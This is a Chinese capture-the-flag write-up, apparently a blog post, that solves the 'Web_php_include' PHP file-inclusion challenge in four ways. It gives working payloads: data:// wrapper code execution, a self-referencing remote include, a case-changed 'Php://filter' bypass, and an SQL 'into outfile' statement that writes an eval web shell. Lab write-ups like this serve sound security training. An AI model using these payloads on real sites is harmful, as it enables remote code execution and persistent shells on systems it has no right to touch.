php攻防,攻防世界(Web_php_include)

题目叙述

题目场景如下:

属于文件包含漏洞

解决

方法一

0x00

通过代码审计可以知道,存在文件包含漏洞,并且对伪协议php://进行了过滤。

发现根目录下存在phpinfo

观察phpinfo发现如下:

这两个都为on

所以我们就可以使用data://伪协议

0x01

payload如下:

- ?page=data://text/plain,<?php system("ls")?>

- ?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4= #base64编码

- ?page=data:text/plain,<?php system("ls")?>

- ?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4= #base64编码

上面的payload就可以实现命令执行了

找了半天发现flag在fl4gisisish3r3.php文件中

使用如下payload就可以获取flag了

?page=data://text/plain,<?php system("cat fl4gisisish3r3.php")?>

使用该命令获取的flag被隐藏了,直接在web界面找不到,可以通过查看网页源代码查看

方法二

0x00

代码审计可知,存在文件包含漏洞。

0x01

这里我们借助了hello参数

hello接收到数据直接输出

所以就可以构造如下payload:

?page=http://127.0.0.1/index.php/?hello=<?php system("ls")?>

但是什么都没得到,具体什么情况我也不清楚,继续构造

?page=http://127.0.0.1/index.php/?hello=<?system ("ls")?>

此处也可以执行命令了

这次得到了如下结果:

然后可以用如下

?page=http://127.0.0.1/index.php/?hello=<?show_source ("fl4gisisish3r3.php");?>

得到flag

方法三

0x00

代码审计,可得存在文件包含漏洞,并且过滤php://伪协议,但是由代码可得我们可以进行绕过。

0x01

大小写绕过

?page=Php://filter/read=convert.base64-encode/resource=fl4gisisish3r3.php

对得到的结果进行base64解码即可

方法四

0x00

扫描目录

得到如下结果

0x01

进入后台密码为空

查询是否可以写入shell

可以写入

sql执行如下语句

select "<?php eval(@$_POST['c']); ?>"into outfile '/tmp/shell.php'

连接

就可以获得shell,然后就可以去获取flag了。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值